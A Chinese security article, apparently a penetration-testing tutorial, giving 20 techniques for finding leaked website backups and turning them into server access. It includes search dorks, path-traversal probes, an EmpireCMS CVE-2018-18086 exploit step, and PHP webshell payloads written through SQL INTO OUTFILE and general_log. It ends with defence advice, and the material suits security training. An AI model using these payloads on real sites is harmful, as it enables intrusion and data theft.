网站备份文件泄露,绝不是小问题。在网络安全攻防实战中,备份文件泄露一直被列为“高风险漏洞”,却往往被企业开发者所忽视。一次偶然的备份文件泄露,可能成为整个系统沦陷的起点。本文将分享20个基于实战经验的备份文件泄露漏洞挖掘技巧,帮助安全人员有效发现这类“沉睡的”安全隐患。
一、备份文件特征与危害认知
1. 认识备份文件常见形态
网站备份文件不仅限于常见的.zip、.rar、.tar.gz等压缩格式,还包括数据库备份文件(.sql、.dump)、源码备份(.bak、.swp)及版本控制文件(.git、.svn)。在Windows环境下还需关注.7z、.cab等格式,而大型网站可能使用.iso镜像备份。
2. 理解备份泄露的连锁危害
备份文件泄露不仅是信息泄露问题,它开启了多重攻击可能:
- • 直接暴露数据库凭证和API密钥
- • 泄露后台管理路径和身份验证机制
- • 暴露未修复的历史漏洞点
-
• 提供代码审计基础,挖掘0day漏洞
案例显示,超过60%的网站沦陷始于信息泄露,而备份文件是信息量最大的泄露源。
二、主动探测技巧
3. 智能字典爆破
使用御剑、DirBuster等工具配合多维度字典进行扫描:
- • 基础字典:/wwwroot.zip、/web.rar、/backup.tar
- • 时间戳字典:/backup_20240814.zip(当前日期)
-
• 项目相关字典:/myproject_bak.7z
建议优先使用ihoneyBakFileScan_Modify工具,其内置智能规则库可识别30+备份格式,并通过HTTP状态码与响应内容二次验证减少误报。
4. 空间搜索引擎精准定位
在Fofa、ZoomEye等平台使用高级语法:
header=”application/zip” # 定位压缩文件响应 title=”备份下载” # 查找备份管理页面 body=”database dump” # 搜索数据库备份
通过icon_hash=”-247436316”(计算favicon哈希)可查找同源网站群,扩大目标范围。
5. Google Hacking黄金语法
intitle:”Index of” “backup” # 目录列表 filetype:sql “DB_PASSWORD” # 数据库配置文件 inurl:/wp-content/backup-*.zip # CMS特定备份
6. 版本控制文件扫描
对.git、.svn目录进行扫描:
- • 使用GitHacker工具恢复.git目录
-
• 检查.svn/entries文件获取源码结构
案例:某电商网站因暴露.git目录导致数据库配置文件被还原。
7. 流量监控捕获开发活动
在Burp Suite中设置:
- • 监控/upload、/admin路径的异常访问
- • 捕获开发人员测试环境的备份操作
- • 识别备份文件命名规律(如按日期排序)
8. API接口探测
通过Swagger文档或路径猜测发现备份API:
GET /api/v1/system/backups GET /admin/export_database.php
三、特征提取与目标关联技巧
9. Favicon哈希追踪
curl https://target/favicon.ico | md5sum # 获取哈希值
将哈希值输入Fofa搜索,可发现同一厂商建设的多个站点,批量测试备份漏洞。
10. 版权信息关联
从网页底部获取技术支持厂商信息:
技术支持:<ahref="#">XX软件公司</a>
通过天眼查获取该厂商所有备案域名,扩大测试目标范围。
11. 框架指纹识别
识别网站使用的CMS或框架(如EmpireCMS、Discuz!),使用专用字典:
- • EmpireCMS:/e/backup/
- • WordPress:/wp-content/updraft/
- • 自定义框架:/runtime/backup/
12. 配置文件反查
从泄露的config.php中提取:
- • 数据库连接字符串
- • 加密密钥(如AES key)
-
• 第三方服务凭证
这些信息可作为后续渗透的跳板。
四、备份文件获取与分析技巧
13. 跨目录遍历探测
尝试跳出Web目录:
https://target.com/../app_backup.zip https://target.com/%2e%2e%2fbackup.rar
14. 备份碎片重组
当完整备份不可得时,尝试收集分卷备份:
- • db_part01.sql、db_part02.sql
-
• web_2024-08.bak1 ~ bak5
使用Linux下的 cat 命令或Windows下的 copy /B 命令合并文件。
15. 源码对比分析
使用Beyond Compare对比:
- • 生产环境JS文件与备份源码
-
-
• 版本迭代间的配置文件差异
差异处常暴露新引入的漏洞点。
16. 数据库备份挖掘
对SQL备份文件重点关注:
INSERT INTO ‘users’ VALUES (1,’admin’,md5(‘123456’)); # 管理员凭据 CREATE TABLE ‘secret_keys’ (…); # 加密密钥 LOAD_FILE(‘/etc/passwd’); # 敏感文件读取
17. 自动化代码审计
使用Seay系统扫描源码:
- • 敏感函数追踪(eval()、system())
- • 文件上传点未过滤漏洞
- • 反序列化操作点(unserialize())
五、漏洞利用链构建技巧
18. 备份导入漏洞利用
针对EmpireCMS等系统(CVE-2018-18086):
- 1. 伪造恶意.mod文件:
file_put_contents(“shell.php”,”<?php @eval($_POST[cmd]);?>”);
- 2. 通过“导入模型”功能触发
- 3. 访问生成的/e/admin/shell.php
19. 数据库凭证接管
从备份中获取数据库账号后:
- • 登录phpMyAdmin执行SQL写shell:
SELECT ‘<?php system($_GET[cmd]);?>’ INTO OUTFILE ‘/var/www/html/cmd.php’
- • 开启日志写shell:
SETglobal general_log_file=’/var/www/html/shell.php’; SELECT ‘<?php @eval($_POST[“pass”])?>’;
20. 配置漏洞链式利用
典型利用链:
泄露数据库密码登录后台发现未授权上传点写入Webshell服务器权限接管
六、防御建议
企业应建立备份文件全生命周期管理:
- 1. 存储隔离:备份文件不得存放在Web可访问目录
- 2. 权限控制:设置备份目录访问白名单
- 3. 动态命名:使用不可预测的随机文件名
- 4. 内容加密:对备份数据实施AES-256加密
- 5. 操作审计:监控异常备份下载行为
文章来源:HACK之道














暂无评论内容